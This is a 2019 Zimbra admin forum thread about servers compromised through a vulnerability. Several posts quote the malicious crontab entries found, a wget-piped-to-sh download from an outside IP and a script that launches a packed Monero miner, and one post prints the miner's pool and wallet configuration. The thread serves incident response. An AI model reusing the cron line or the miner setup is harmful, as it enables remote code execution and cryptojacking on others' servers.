Zimbra AJAX Webmail not loading

Discuss your pilot or production implementation with other Zimbra admins or our engineers.
phoenix
Ambassador
Ambassador
Posts: 26567
Joined: Fri Sep 12, 2014 9:56 pm
Location: Liverpool, England

Re: Zimbra AJAX Webmail not loading

Postby phoenix » Mon May 27, 2019 10:30 am

efremovvk wrote:Same
* * * * * wget -q -O - http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1
*/15 * * * * sh /opt/zimbra/log/zmswatch.sh;
Instead of posting a 'me too' comment it would have been to your advantage to read the whole of this thread then read the forum thread that tells you how to clean your system. In short - you've been HACKED and you need to fix that ASAP.


Regards

Bill

Rspamd: A high performance spamassassin replacement

Per ardua ad astra
User avatar
opsystem
Posts: 32
Joined: Mon Nov 20, 2017 6:32 pm

Re: Zimbra AJAX Webmail not loading

Postby opsystem » Mon May 27, 2019 10:42 am

brillo61 wrote:j122yka : Solved issue with upload refuse by :

chmod 755 /opt/zimbra/data/tmp/
chmod 755 /opt/zimbra/data/tmp/upload/

Cannot find unusual cron entries (looking with # crontab -e -u zimbra) and in the files under /opt/zimbra/conf/crontabs/
Changed root password after reboot.

Any help appreciated to find and clean the hack! Thank you!

(Zimbra 8.7.11_GA_1854, Ubuntu 16.04)


On our installation the infection changed permissions to /opt/Zimbra/log and /opt/zimbra/data/tmp/upload
These worked for us, aside patch installation and cleaning up malicious files;

Code: Select all

Chmod -r 750 /opt/zimbra/data/tmp/upload
Chmod -r 775 /opt/Zimbra/log

(fixperms didn’t work, you have to check for perm errors manually inside mailbox.log or Zimbra.log)
Last edited by opsystem on Mon May 27, 2019 10:50 am, edited 1 time in total.
amctecnologia
Posts: 8
Joined: Fri May 24, 2019 11:08 pm

Re: Zimbra AJAX Webmail not loading

Postby amctecnologia » Mon May 27, 2019 10:47 am

So is mine:

# ZIMBRAEND -- DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRASTART
#* * * * * wget -q -O - http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1
#*/15 * * * * sh /opt/zimbra/log/zmswatch.sh;
phoenix
Ambassador
Ambassador
Posts: 26567
Joined: Fri Sep 12, 2014 9:56 pm
Location: Liverpool, England

Re: Zimbra AJAX Webmail not loading

Postby phoenix » Mon May 27, 2019 10:51 am

amctecnologia wrote:So is mine:
Then why are you wasting time posting a 'me too' post instead of fixing your system. You've been HACKED and you n eed to clean and patch your server, full details are in the forums.
Regards

Bill

Rspamd: A high performance spamassassin replacement

Per ardua ad astra
amctecnologia
Posts: 8
Joined: Fri May 24, 2019 11:08 pm

Re: Zimbra AJAX Webmail not loading

Postby amctecnologia » Mon May 27, 2019 10:57 am

Is the patch cumulative? If I apply the last one (zcs-patch-8.7.11_GA_3800) are all the other vulnerability updates coming?
MaySky
Posts: 24
Joined: Sat Apr 02, 2016 6:57 am

Re: Zimbra AJAX Webmail not loading

Postby MaySky » Mon May 27, 2019 11:04 am

amctecnologia wrote:Is the patch cumulative? If I apply the last one (zcs-patch-8.7.11_GA_3800) are all the other vulnerability updates coming?

Yes. It is written in Release Notes that "Patches are cumulative, and delivered as a TGZ file.".

Guys, who can upload zip file with the content /opt/zimbra/jetty/webapps for 8.7.11 P11 version pls.
Some of them are broken and i get 403 in webmail.
Cheater
Posts: 1
Joined: Mon May 27, 2019 10:47 am

Re: Zimbra AJAX Webmail not loading

Postby Cheater » Mon May 27, 2019 11:15 am

The /opt/zimbra/log/zmswatch.sh script runs executable /opt/zimbra/log/zmswatch. /opt/zimbra/log/zmswatch is packaged with Ultimate Packer for eXecutables. After unpacking, I opend it using text editor and found, among other things, the configuration of monero miner.
url": "pool.supportxmr.com:3333
user": "4AZNCanycj1YLG2ZWTDgoLCgn9MFUjyF1YMRXKLRJJHSP2YmB2Qcd7tPoDoqArigrQdGS9pxEEXLrCwdyzxrjhEUJia8B7V
pass": "x
phoenix
Ambassador
Ambassador
Posts: 26567
Joined: Fri Sep 12, 2014 9:56 pm
Location: Liverpool, England

Re: Zimbra AJAX Webmail not loading

Postby phoenix » Mon May 27, 2019 11:17 am

Cheater wrote:The /opt/zimbra/log/zmswatch.sh script runs executable /opt/zimbra/log/zmswatch. /opt/zimbra/log/zmswatch is packaged with Ultimate Packer for eXecutables. After unpacking, I opend it using text editor and found, among other things, the configuration of monero miner.
url": "pool.supportxmr.com:3333
user": "4AZNCanycj1YLG2ZWTDgoLCgn9MFUjyF1YMRXKLRJJHSP2YmB2Qcd7tPoDoqArigrQdGS9pxEEXLrCwdyzxrjhEUJia8B7V
pass": "x
What point are you trying to make by posting those details?
Regards

Bill

Rspamd: A high performance spamassassin replacement

Per ardua ad astra
AR84
Posts: 23
Joined: Mon Nov 06, 2017 5:12 am

Re: Zimbra AJAX Webmail not loading

Postby AR84 » Mon May 27, 2019 11:33 am

Hey guys, dont forget to also check your Email Accounts, in our case there was some users with Administrator privilidge that have been added.
They added the accounts such as
no-replayz@....
no-rreplay@....
zmbr@....

Make sure you delete all accounts that are not from you.
mmart
Posts: 4
Joined: Mon Oct 08, 2018 7:46 pm

Re: Zimbra AJAX Webmail not loading

Postby mmart » Mon May 27, 2019 11:57 am

without access to support i can't upgrade zimbra from 8.7.5 to 8.7.11 ?

Return to “Administrators”

Who is online

Users browsing this forum: Google [Bot] and 10 guests